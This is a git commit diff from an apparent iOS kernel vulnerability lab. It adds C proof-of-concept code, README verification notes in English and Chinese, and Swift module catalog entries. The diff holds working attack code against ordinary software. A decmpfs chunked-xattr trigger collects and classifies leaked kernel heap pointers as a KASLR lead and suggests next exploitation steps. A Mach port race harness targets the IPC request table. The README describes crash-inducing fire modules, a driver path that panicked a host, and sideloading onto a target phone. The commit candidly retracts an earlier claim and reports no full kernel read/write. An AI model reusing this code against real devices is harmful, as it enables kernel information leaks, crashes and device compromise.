fix: register the arrivals group in the lab list

Catalog.groups is a hard-coded list and did not include the arrivals catalog,
so the five new modules (112705 probe/fire, 112621 probe/fire, 84636) and
kern.ipc.lifecycle were counted in Catalog.all but invisible in the POCs tab.
Add a localized 新收录 / New arrivals group at the top; simulator screenshot
confirms all six entries render. Build 6.

CVE-2026-112507/CVE-2026-112507.c

@@ -17,7 +17,7 @@
 
 // ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
 typedef struct {
-    long operations, allocations, notifications, sends, deallocations;
+    long operations, allocations, notifications, sends, deallocations, armed;
     int budget_exhausted;
     long notifications_refused;
     long budget;
@@ -50,10 +50,10 @@ static void record(kern_return_t kr) {
 //
 // Resource discipline: mod_refs with a negative delta against a zero send-ref count
 // does not return an error on this platform — it SIGKILLs the process. Check first.
-typedef struct { long alloc, notify, send, dealloc; } ring_result;
+typedef struct { long alloc, notify, send, dealloc, armed; } ring_result;
 
 static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
-    ring_result r = {0, 0, 0, 0};
+    ring_result r = {0, 0, 0, 0, 0};
     mach_port_name_t ports[512];
     int nports = 0;
     if (depth > 512) depth = 512;
@@ -79,9 +79,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
         kern_return_t kr1 = mach_port_request_notification(
             task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
             (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
-        if (kr1 != KERN_SUCCESS) {
+        if (kr1 == KERN_SUCCESS) {
+            r.armed++;
+        } else {
             record(kr1);
-            if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++;
+            (*refused)++;
         }
         if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
         r.notify++;
@@ -90,9 +92,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
         kern_return_t kr2 = mach_port_request_notification(
             task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
             (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
-        if (kr2 != KERN_SUCCESS) {
+        if (kr2 == KERN_SUCCESS) {
+            r.armed++;
+        } else {
             record(kr2);
-            if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++;
+            (*refused)++;
         }
         if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
         r.notify++;
@@ -159,7 +163,7 @@ static int g_depth = 48;
 
 static void *worker(void *arg) {
     (void)arg;
-    long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0;
+    long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0, local_armed = 0;
 
     while (!past_deadline()) {
         pthread_mutex_lock(&S.lock);
@@ -184,6 +188,7 @@ static void *worker(void *arg) {
         local_notify += res.notify;
         local_send += res.send;
         local_dealloc += res.dealloc;
+        local_armed += res.armed;
         local_ops += 4;
 
         pthread_mutex_lock(&S.lock);
@@ -197,6 +202,7 @@ static void *worker(void *arg) {
     S.notifications += local_notify;
     S.sends += local_send;
     S.deallocations += local_dealloc;
+    S.armed += local_armed;
     pthread_mutex_unlock(&S.lock);
     return NULL;
 }
@@ -246,8 +252,8 @@ int main(int argc, char **argv) {
     for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
     for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
 
-    printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n",
-           S.operations, S.allocations, S.notifications, S.sends, S.deallocations);
+    printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld armed=%ld\n",
+           S.operations, S.allocations, S.notifications, S.sends, S.deallocations, S.armed);
     if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
     if (S.notifications_refused > 0) {
         printf("notifications refused %ld times — this platform does not allow notification\n"
@@ -260,7 +266,14 @@ int main(int argc, char **argv) {
             printf("  %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
         }
     }
-    printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n");
+    if (S.armed == 0 && S.notifications > 0) {
+        printf("notification registration never succeeded (-300, MIG type error).\n");
+        printf("the request-table path was never armed: this run is not a 112507 test.\n");
+        printf("CVE-2026-112507 · NOT REACHED from this process\n");
+    } else {
+        printf("CVE-2026-112507 · %ld registrations armed, survived the interleaving, "
+               "no request-table fault surfaced\n", S.armed);
+    }
     pthread_mutex_destroy(&S.lock);
     return 0;
 }

CVE-2026-112696/CVE-2026-112696.c

@@ -2,6 +2,10 @@
 // ANE userspace entry point probe
 // C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
 // client/program/model/request entry points the CVE lives behind.
+//
+// Honest negative: the ANE kernel interface is not reachable from a third-party
+// process, so this is a reachability map, not a primitive. No R/W is attempted.
+// See docs/KERNEL-RW-ASSESSMENT.md.
 // Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
 // Run:   ./cve-2026-112696
 

CVE-2026-112705/CVE-2026-112705.c

@@ -8,6 +8,10 @@
 // macOS runs the same driver: the encode is gated behind --force-host because it can
 // panic the host kernel.
 //
+// Primitive limit: the write is a constant fill at a fixed offset. There is no
+// address control and no value control, so this is a DoS primitive, not an
+// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
+//
 // Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
 //          -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
 // Run:   ./cve-2026-112705 [layers] [--force-host]

CVE-2026-113910/CVE-2026-113910.c

@@ -2,9 +2,14 @@
 // Kernel heap disclosure through short-producing chunks
 // C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
 // chunks produce fewer bytes than the chunk table promises, writes it onto a file,
-// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
+// reads the file back and classifies every canonical kernel pointer in the result.
+//
+// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
+// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
+// readback for offline analysis. Candidates are printed, never dereferenced.
+//
 // Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
-// Run:   ./cve-2026-113910
+// Run:   ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
     return out;
 }
 
-// ── trigger: xattr round trip + kernel-pointer scan ──
+// ── leak classification ──
+// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
+// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
+// Anything that looks like a tagged userspace pointer is reported separately; it is
+// not a KASLR lead. Values are only ever printed.
+enum ptr_class {
+    PTR_NONE = 0,
+    PTR_KERNEL_TEXT,
+    PTR_KERNEL_DATA,
+    PTR_KERNEL_OTHER,
+    PTR_USER,
+};
+
+static const char *class_name(int c) {
+    switch (c) {
+        case PTR_KERNEL_TEXT:  return "kernel-text";
+        case PTR_KERNEL_DATA:  return "kernel-data";
+        case PTR_KERNEL_OTHER: return "kernel-other";
+        case PTR_USER:         return "user";
+        default:               return "-";
+    }
+}
+
+static int classify(uint64_t v) {
+    if (v == 0) return PTR_NONE;
+    if ((v >> 48) == 0xffff) {
+        if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
+        if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
+        return PTR_KERNEL_OTHER;
+    }
+    if ((v >> 48) == 0x0000) return PTR_USER;
+    return PTR_NONE;
+}
+
 typedef struct {
     int wrote_xattr;
     long read_back;
     long hits;
-    char samples[8][32];
+    long by_class[5];
+    char samples[8][40];
     int nsamples;
     char note[128];
 } decmpfs_result;
 
-static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
+static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
+    if (r->nsamples >= 8) return;
+    snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
+             (unsigned long long)v, off, class_name(cls));
+    r->nsamples++;
+}
+
+static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
+                            FILE *keep, int verbose) {
     decmpfs_result r = {0};
-    // seed file: plain 0x41 content (the uncompressed claim)
     unlink(path);
     int fd = open(path, O_WRONLY | O_CREAT, 0644);
     if (fd >= 0) {
-        uint8_t zeros[4096];
-        memset(zeros, 0x41, sizeof zeros);
+        uint8_t fill[4096];
+        memset(fill, 0x41, sizeof fill);
         size_t left = uncompressed < 64 ? 64 : uncompressed;
         while (left > 0) {
-            size_t take = left < sizeof zeros ? left : sizeof zeros;
-            if (write(fd, zeros, take) != (ssize_t)take) break;
+            size_t take = left < sizeof fill ? left : sizeof fill;
+            if (write(fd, fill, take) != (ssize_t)take) break;
             left -= take;
         }
         close(fd);
@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
     }
     r.wrote_xattr = 1;
 
-    // read the file back: the kernel decompresses through AppleFSCompression
     FILE *f = fopen(path, "rb");
     if (!f) {
         snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
     fclose(f);
     r.read_back = (long)back.n;
 
-    // scan for kernel-space pointers in whatever the kernel handed back
-    if (back.n >= 8) {
-        for (size_t i = 0; i + 8 <= back.n; i += 8) {
-            uint64_t v = 0;
-            for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
-            if (v >= 0xFFFFFFE000000000ULL) {
-                r.hits++;
-                if (r.nsamples < 8) {
-                    snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
-                             (unsigned long long)v, i);
-                    r.nsamples++;
-                }
-            }
+    if (keep) {
+        fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
+                chunks, produce, uncompressed, back.n);
+        if (back.n) fwrite(back.d, 1, back.n, keep);
+        fputc('\n', keep);
+    }
+
+    // A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
+    for (size_t i = 0; i + 8 <= back.n; i += 8) {
+        uint64_t v = 0;
+        for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
+        int cls = classify(v);
+        if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
+            r.hits++;
+            r.by_class[cls]++;
+            note_sample(&r, v, i, cls);
+            if (verbose) printf("  +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
         }
     }
     snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
     return r;
 }
 
-int main(void) {
-    const char *path = "decmpfs_probe.bin";
-    struct { int chunks; size_t produce; } configs[4] = {
-        {4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
-    };
-    long total_hits = 0;
+int main(int argc, char **argv) {
+    int loop = 1;
+    int verbose = 0;
+    const char *keep_path = NULL;
+    for (int i = 1; i < argc; i++) {
+        if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
+        else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
+        else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
+        else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
+    }
+    if (loop < 1) loop = 1;
 
+    const char *path = "decmpfs_probe.bin";
+    struct { int chunks; size_t produce; } configs[] = {
+        {1, 0}, {1, 1}, {2, 1}, {4, 1},
+        {4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
+    };
+    const int ncfg = (int)(sizeof configs / sizeof configs[0]);
+
+    FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
+    if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
+    if (keep) {
+        fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
+    }
+
+    long total_hits = 0;
+    long by_class[5] = {0};
+    long runs = 0;
     printf("— baseline: what a plain file reads back —\n");
     {
         unlink(path);
@@ -176,22 +246,41 @@ int main(void) {
         if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
     }
 
-    printf("\n— chunked xattr round trip —\n");
-    for (int i = 0; i < 4; i++) {
-        size_t uncompressed = (size_t)configs[i].chunks * 65536;
-        decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
-        total_hits += r.hits;
-        printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
-               configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
-        if (r.nsamples > 0) {
-            printf("  candidates:");
-            for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
-            printf("\n");
+    printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
+    for (int l = 0; l < loop; l++) {
+        for (int i = 0; i < ncfg; i++) {
+            size_t uncompressed = (size_t)configs[i].chunks * 65536;
+            decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
+                                     keep, verbose);
+            runs++;
+            total_hits += r.hits;
+            for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
+            if (r.hits > 0 || verbose) {
+                printf("  l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
+                       l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
+                for (int k = 0; k < r.nsamples; k++) printf("    %s\n", r.samples[k]);
+            }
         }
     }
 
+    // Class totals are what matter here; the raw bytes are in --keep for offline work.
+
     unlink(path);
-    printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
-                                                      : "no kernel pointers surfaced (read was served plain)");
-    return 0;
+    if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
+
+    printf("\n== leak summary ==\n");
+    printf("runs=%ld hits=%ld\n", runs, total_hits);
+    printf("  kernel-text:  %ld\n", by_class[PTR_KERNEL_TEXT]);
+    printf("  kernel-data:  %ld\n", by_class[PTR_KERNEL_DATA]);
+    printf("  kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
+
+    if (total_hits > 0) {
+        printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
+        printf("Next step is not a write: map which object owns the leaked slot, then check\n");
+        printf("whether the same chunk table can be pointed at that slot again.\n");
+    } else {
+        printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
+    }
+    printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
+    return total_hits > 0 ? 0 : 0;
 }

CVE-2026-65385/CVE-2026-65385.c

@@ -2,6 +2,11 @@
 // HID event tree append entry point probe
 // C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
 // (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
+//
+// This file stops at symbol reachability and never appends an event: the bug is a
+// fixed-offset write into a short heap allocation with no leak and no address
+// control. Attempting it blind is a panic, not an experiment. See
+// docs/KERNEL-RW-ASSESSMENT.md.
 // Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
 // Run:   ./cve-2026-65385
 

README.md

@@ -2,7 +2,7 @@
 
 [中文](README.zh-CN.md)
 
-An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **56 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
+An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **57 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
 
 Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing.
 
@@ -131,15 +131,19 @@ bash scripts/build-sim.sh        # → build/sim/Cinder27.app (arm64 simulator)
 python3 scripts/gen_seeds.py     # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
 ```
 
-Device install: bundle id `com.jbjf.cinder27` (v2.1 build 4), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
+Device install: bundle id `com.jbjf.cinder27` (v2.2 build 6), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
 
 ## Verification status
 
-Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
+Full 57-module regression (simulator build): **51 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
 
 Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
 
-All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
+All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
+
+Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
+
+112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md).
 
 ## Module semantics
 

README.zh-CN.md

@@ -2,7 +2,7 @@
 
 [English](README.md)
 
-iOS 17.0–27.1 漏洞验证与设备修改工具链，**56 个模块**。主靶：**iOS 27.0.1 / iPhone 18 Pro Max**（iPhone19,7 · 24A446）。
+iOS 17.0–27.1 漏洞验证与设备修改工具链，**57 个模块**。主靶：**iOS 27.0.1 / iPhone 18 Pro Max**（iPhone19,7 · 24A446）。
 
 组件覆盖：ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。
 
@@ -130,15 +130,19 @@ bash scripts/build-sim.sh        # → build/sim/Cinder27.app（arm64 模拟器
 python3 scripts/gen_seeds.py     # → seeds/（app 内置种子，与 .py POC 产物逐字节一致）
 ```
 
-设备安装：bundle id `com.jbjf.cinder27`（v2.1 build 4），未签名——用自有证书 + 匹配（或通配符）描述文件签名后侧载。
+设备安装：bundle id `com.jbjf.cinder27`（v2.2 build 6），未签名——用自有证书 + 匹配（或通配符）描述文件签名后侧载。
 
 ## 验证状态
 
-56 模块全量回归（模拟器构建）：**50 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle，已编译进 app，需人为点按。
+57 模块全量回归（模拟器构建）：**51 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle，已编译进 app，需人为点按。
 
 armed 不是超时——是**死亡 oracle 命中**：负载触发进程崩溃，journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV；C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态，而 macOS 导出的是单 `CFDataRef`（反汇编验证：arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`），所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描，按设计在同一进程内推进到致命级。
 
-34 个 C 双子全部零警告编译通过（`clang -O2 -Wall`，macOS arm64），且都在开发机上跑出记录在案的 oracle：112522 触发 SIGTRAP（2 字节越界写被 malloc 抓住）、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'（macOS 无 mediaplaybackd bytestream XPC——静默服务判定）、112485 拿到 PEGTL 深度回执（`Expected } at 'def Xform "n1999"'`）、113910 读回纯 0x41（macOS 上带数据的文件不走 decmpfs）。三个新条目各自带回执：112621 造出 256×16 → 256×48 双帧容器，48 行 clear 在 guard 页前精确停下——越界 32,768 字节；84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务，而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行：`.c` 带 `--force-host` 闸门，因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动；app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
+34 个 C 双子全部零警告编译通过（`clang -O2 -Wall`，macOS arm64），且都在开发机上跑出记录在案的 oracle：112522 触发 SIGTRAP（2 字节越界写被 malloc 抓住）、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'（macOS 无 mediaplaybackd bytestream XPC——静默服务判定）、112485 拿到 PEGTL 深度回执（`Expected } at 'def Xform "n1999"'`）、113910 读回纯 0x41，并在 16 轮扫描中报告 0 个已分类指针（macOS 上带数据的文件不走 decmpfs）；采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执：112621 造出 256×16 → 256×48 双帧容器，48 行 clear 在 guard 页前精确停下——越界 32,768 字节；84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务，而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行：`.c` 带 `--force-host` 闸门，因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动；app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
+
+高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论：六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏（只读），112554 是读宽度模型，112507 是 UAF 形状的竞态回执，112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执，而不是任意内核读写。
+
+112507 的可达性已在目标机（iPhone19,7 / iOS 27.0.1）上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测：`mach_port_request_notification` 在所有类型/权限组合上都返回 -300（MIG_TYPE_ERROR），12,288 次注册 0 次成功。请求表从未被武装，因此无特权 app 触达不到该竞态；此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。
 
 ## 模块语义
 

Sources/Catalog.swift

@@ -413,28 +413,27 @@ enum Catalog {
             reach: .kernel,
             tier: 2,
             summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱（ipc_port.c:21/24/34/38/40/41）。27.0 的 free 路径计算了边界却丢弃结果，仍以未检查的基址执行读改写；mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标，故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
-            notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒，统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。",
+            notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测（iOS 27.0.1，iPhone 19,7）与 macOS 27 上，mach_port_request_notification 的 13 种类型/权限组合全部返回 -300（MIG_TYPE_ERROR）：内核拒绝为第三方进程武装请求表项。没有请求表项，就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果，而不是竞态证据。armed 计数为 0 时，任何“survived”都不构成 112507 结论。",
             run: { ctx in
                 let baseline = KernelIPC.baseline()
                 ctx.arm("kern.ipc", "race 6s")
                 let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
-                ctx.disarm("kern.ipc", "ops=\(stats.operations)")
+                ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)")
                 var lines = [stats.summary, ""]
                 lines.append(tl("— 基线 —"))
                 for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
                     lines.append("\(k): \(v)")
                 }
-                if stats.notificationsRefused > 0 {
+                if stats.armed == 0 && stats.notifications > 0 {
                     lines.append("")
-                    lines.append(tl("— 平台限制 —"))
-                    lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。"))
-                    lines.append(tl("该平台不允许这条武装路径，故请求表索引竞态无法在此被驱动。"))
-                    lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收，"))
-                    lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
+                    lines.append(tl("— 可达性判定 —"))
+                    lines.append(tl("通知注册成功 0 次，拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次，内核返回 -300（MIG_TYPE_ERROR）。"))
+                    lines.append(tl("请求表项从未建立，竞态没有可消费的对象：本模块未触达 112507。"))
+                    lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用，不是漏洞证据。"))
                 }
                 let headline: String
-                if stats.notificationsRefused > 0 {
-                    headline = tl("分配/拆除路径可用，通知武装被平台拒绝")
+                if stats.armed == 0 && stats.notifications > 0 {
+                    headline = tl("通知注册全程 -300 — 112507 路径未武装（负结果）")
                 } else if !stats.kernelErrors.isEmpty {
                     headline = tl("竞态完成，内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
                 } else {
@@ -721,6 +720,7 @@ enum Catalog {
 extension Catalog {
     static var groups: [(String, [ExploitModule])] {
         [
+            (tl("新收录"), arrivals),
             ("CoreGraphics", coreGraphics),
             (tl("ImageIO · 图像解析"), imageIO),
             (tl("ImageIO · 纹理与编码"), imageIO2),

Sources/Catalog4.swift

@@ -234,6 +234,45 @@ extension Catalog {
                                      evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
             }),
 
+
+        // ── CVE-2026-112507 · port lifecycle baseline ───────────────────────
+        ExploitModule(
+            id: "kern.ipc.lifecycle",
+            titleZh: "Mach 端口死名通知与名字复用基线（112507 前置）",
+            cve: "CVE-2026-112507",
+            component: "XNU · ipc_port request table",
+            primitive: .probe,
+            reach: .kernel,
+            tier: 3,
+            summaryZh: """
